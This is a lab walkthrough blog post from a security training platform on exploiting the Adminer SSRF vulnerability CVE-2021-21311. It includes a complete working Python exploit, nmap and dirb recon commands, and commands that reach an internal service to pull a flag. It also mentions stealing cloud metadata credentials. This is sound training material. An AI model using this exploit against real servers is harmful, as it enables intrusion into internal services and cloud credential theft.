blog
Adminer SSRF Vulnerabilit ...
31 October 22

Adminer SSRF Vulnerability (CVE-2021–21311)

Posted byINE
facebooktwitterlinkedin
news-featured

In our lab walkthrough series, we go through selected lab exercises on our INE Platform. Subscribe or sign up for a 7-day, risk-free trial with INE and access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

Untitled.png

Reference: https://www.adminer.org/

Description

Adminer is an open-source database management in a single PHP file. In Adminer from version 4.0.0 and before 4.7.9, there is a server-side request forgery vulnerability. Users of Adminer versions bundling all drivers (e.g. adminer.php) are affected. This is fixed in version 4.7.9.

This vulnerability had been assigned the CVE id CVE-2021–21311. The CVSS score for this vulnerability is 7.2 High.

Reference: https://nvd.nist.gov/vuln/detail/CVE-2021-21311

In this lab, we will learn how to exploit the server-side request forgery vulnerability in Adminer in a realistic environment and leverage it to access internal services and steal data from it.

Lab Environment

In this lab environment, the user is going to get access to a Kali GUI instance. A web server is running the target machine. It can be accessed using the tools installed on Kali at http://demo.ine.local. Besides this, an internal service is running on port 8080 of the target machine.

Objective: Exploit the SSRF vulnerability in Adminer to interact with the internal service on port 8080 and retrieve the flag!

adminer_ssrf_cve_2021_21311-0.png

Untitled (1).png

https://my.ine.com/CyberSecurity/courses/ebd09929/cyber-security-vulnerabilities-training-library/lab/ccacdb0a-0240-48ce-900a-ad8da600c293

Instructions

  • To perform directory enumeration, you can use the following wordlist file: /usr/share/wordlists/dirb/big.txt

Tools

The best tools for this lab are:

  • dirb

  • Nmap

  • Python

  • A web browser

Solution

Step 1: Open the lab link to access the Kali GUI instance.

adminer_ssrf_cve_2021_21311-1.png

Step 2: Check if the provided machine/domain is reachable.

Command:

ping -c3 demo.ine.local

Untitled (2).png

The provided machine is reachable.

Step 3: Check open ports on the provided machine.

Command:

nmap -sS -sV demo.ine.local

adminer_ssrf_cve_2021_21311-3.png

Apache httpd 2.4.41 is running on port 80 on the target server.

Step 4: Check the website served by the Apache server.

URL: http://demo.ine.local

adminer_ssrf_cve_2021_21311-4.png

Step 5: Perform directory enumeration against the target server.

Command:

dirb http://demo.ine.local

adminer_ssrf_cve_2021_21311-5.png

Notice the index.php file is served by the webserver.

Step 6: Perform directory enumeration using a large wordlist.

Use the following command to look for more .php files on the target server:

Command: dirb http://demo.ine.local /usr/share/wordlists/dirb/big.txt -X .php

adminer_ssrf_cve_2021_21311-6.png

This time we have identified the presence of adminer.php as well.

Information:

Adminer (formerly phpMinAdmin) is a full-featured database management tool written in PHP. Conversely to phpMyAdmin, it consists of a single file ready to deploy to the target server. Adminer is available for MySQL, MariaDB, PostgreSQL, SQLite, MS SQL, Oracle, Elasticsearch, MongoDB and others via plugin.

Reference: https://www.adminer.org/

Step 7: Open the Adminer page in the browser.

Open the following link:

URL: http://demo.ine.local/adminer.php

adminer_ssrf_cve_2021_21311-7.png

Adminer version 4.7.8 is available on the target server.

Step 8: Search for exploits on Adminer using searchsploit.

Command:

searchsploit adminer

adminer_ssrf_cve_2021_21311-8.png

Only one exploit, namely, Adminer 4.3.1 — Server-Side Request Forgery, is shown. Since the Adminer version on the server is 4.7.8, this exploit is not relevant for this lab.

Step 9: Search for the Adminer SSRF with the CVE id mentioned in the challenge description.

Search Query:

Adminer Server-Side Request Forgery CVE-2021-21311

adminer_ssrf_cve_2021_21311-9.png

Open the National Vulnerability Database (NVD) link:

NVD URL: https://nvd.nist.gov/vuln/detail/CVE-2021-21311

Adminer is an open-source database management in a single PHP file. There is a server-side request forgery vulnerability in Adminer from version 4.0.0 and before 4.7.9. Users of Adminer versions bundling all drivers (e.g. adminer.php) are affected. This is fixed in version 4.7.9.

adminer_ssrf_cve_2021_21311-9_1.png

Step 10: Check the Github advisory for the Adminer SSRF CVE (CVE-2021–21311).

URL: https://github.com/vrana/adminer/security/advisories/GHSA-x5r2-hj5c-8jx6

adminer_ssrf_cve_2021_21311-10.png

Check the PDF link in the reference section:

URL: https://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf

adminer_ssrf_cve_2021_21311-10_1.png

adminer_ssrf_cve_2021_21311-10_2.png

It contains the details of this vulnerability and how it can be exploited to steal the access credentials in cloud environments (from the metadata service endpoint).

Step 11: Save the exploit code for the Adminer SSRF CVE.

Open the following URL:

URL: https://github.com/llhala/CVE-2021-21311

adminer_ssrf_cve_2021_21311-11.png

It contains the exploit code for CVE-2021–21311. Save the exploitation script as exploit.py:

exploit.py:
#!/usr/bin/python3
# CVE-2021-21311
from requests import Session
from http.server import HTTPServer, BaseHTTPRequestHandler
from threading import Thread
from argparse import ArgumentParser
from bs4 import BeautifulSoup
class Adminer(object):
   def __init__(self, host, debug = False):
       if host[-1] == '/':
           host = host[:-1]
       self.host = host
       self.session = Session()
       if debug:
           self.session.proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1'}
       self.session.verify = False
   def connect(self, driver, server, username, password, database, permanent = 0):
       endpoint = 'index.php'
       params = {
           'auth[driver]': driver,
           'auth[server]': server,
           'auth[username]': username,
           'auth[password]': password,
           'auth[db]': database,
           'auth[permanent]': permanent
       }
       response = self.session.post(f'{self.host}/{endpoint}', data = params, allow_redirects = True)
       return response
class HTTPRequestHandler(BaseHTTPRequestHandler):
   def __init__(self, redirect, *args):
       self.redirect = redirect
       BaseHTTPRequestHandler.__init__(self, *args)
   def do_HEAD(self):
       self.send_response(200)
       self.end_headers()
   def do_GET(self):
       self.send_response(301)
       self.send_header('Location', self.redirect)
       self.end_headers()
   def do_POST(self):
       self.send_response(200)
       self.end_headers()
   def do_PUT(self):
       self.send_response(200)
       self.end_headers()
   def do_PATCH(self):
       self.send_response(200)
       self.end_headers()
   def do_DELETE(self):
       self.send_response(200)
       self.end_headers()
   def log_message(self, format, *args):
       print(f'[CLIENT] {self.client_address[0]}:{self.client_address[1]}')
       print('[REQUEST]')
       print(self.requestline)
       data = None
       for key in self.headers:
           print(f'{key}: {self.headers[key]}')
           if key.lower() == 'content-length':
               data = self.rfile.read(int(self.headers[key])).decode()
       if data:
           print('[DATA]')
           print(data)
class Server(object):
   def __init__(self, host, port, redirect):
       def handler(*args):
           HTTPRequestHandler(redirect, *args)
       httpd = HTTPServer((host, port), handler)
       httpd.serve_forever()
class Parser(object):
   def args(self):
       argsp = ArgumentParser(description = 'CVE-2021-21311 - Exploit', epilog = 'example: python3 %(prog)s --host 10.10.14.21 --url http://adminer.local --redirect http://169.254.169.254/latest/meta-data/instance-id')
       argsp.add_argument('--url', action = 'store', help = 'the vulnerable host', required = True)
       argsp.add_argument('--redirect', action = 'store', help = 'url to redirect', required = True)
       argsp.add_argument('--host', action = 'store', help = 'host interface to listen on & SSRF payload', required = True)
       argsp.add_argument('--port', action = 'store', type = int, default = 80, help = 'port to listen on')
       return argsp.parse_args()
   def ssrf(self, html):
       soup = BeautifulSoup(html, 'html.parser')
       return soup.find('div', {'class': 'error'}).text
if __name__ == '__main__':
   args = Parser().args()
   print(f'Running HTTP Server on {args.host}:{args.port}')
   thread = Thread(target = Server, args = (args.host, args.port, args.redirect), daemon = True)
   thread.start()
   print('[CVE-2021-21311]')
   adminer = Adminer(host = args.url, debug = False)
   html = adminer.connect(driver = 'elastic', server = f'{args.host}', username = '', password = '', database = '').text
   response = Parser().ssrf(html)
   print('[SSRF Response]')
   print(response)

Command:

ls -l

adminer_ssrf_cve_2021_21311-11_1.png

Step 12: Check the usage of the exploitation script.

Command:

python3 exploit.py -h

adminer_ssrf_cve_2021_21311-12.png

Step 13: Exploit the Adminer SSRF CVE using the exploitation script.

Check the IP address of the target machine:

Command:

ip addr

adminer_ssrf_cve_2021_21311-13.png

The IP address of the attacker machine is 192.89.194.2.

Note: The IP address of your Kali GUI instance would be different. Make sure to replace the IP address in the subsequent commands with the IP address assigned to your attacker machine.

Run the following command to perform an SSRF attack and pull the data from an internal service running on port 8080 (mentioned in the challenge description):

Command:

python3 exploit.py --url http://demo.ine.local/adminer.php --redirect http://127.0.0.1:8080 --host 192.89.194.2 --port 80

adminer_ssrf_cve_2021_21311-13_1.png

Note: Here, we have assumed the attacker knows that the internal service is running on port 8080. But in a real-world engagement, that is usually not the case. In those cases, you can leverage this SSRF vulnerability to perform the port scan and interact with the services that speak plain HTTP protocol.

Notice the response indicates the internal service is running an HTTP server with file listing enabled. There is a flag.txt file entry in the response.

Step 14: Retrieve the flag from the internal HTTP service.

Command:

python3 exploit.py --url http://demo.ine.local/adminer.php --redirect http://127.0.0.1:8080/flag.txt --host 192.89.194.2 --port 80

adminer_ssrf_cve_2021_21311-14.png

Flag: ed2fdbbf218e44249d5baa09221b682b

With that, we conclude this lab on Adminer SSRF CVE-2021–21311. In this lab, we have leveraged the SSRF vulnerability in Adminer to interact with the internal HTTP service running on the target server, and we were successfully able to steal data from it.

Suppose the target server was instead an EC2 or an ECS container instance; in that case, we could have leveraged the SSRF vulnerability to interact with the metadata service to pull the access credentials assigned to the instance. These credentials could be leveraged to perform lateral movement in the cloud environment.

References

Try this exploit for yourself! Subscribe or sign up for a 7-day, risk-free trial with INE to access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

Need training for your entire team?

Schedule a Demo

Hey! Don’t miss anything - subscribe to our newsletter!

© 2022 INE. All Rights Reserved. All logos, trademarks and registered trademarks are the property of their respective owners.
instagram Logofacebook Logotwitter Logolinkedin Logoyoutube Logo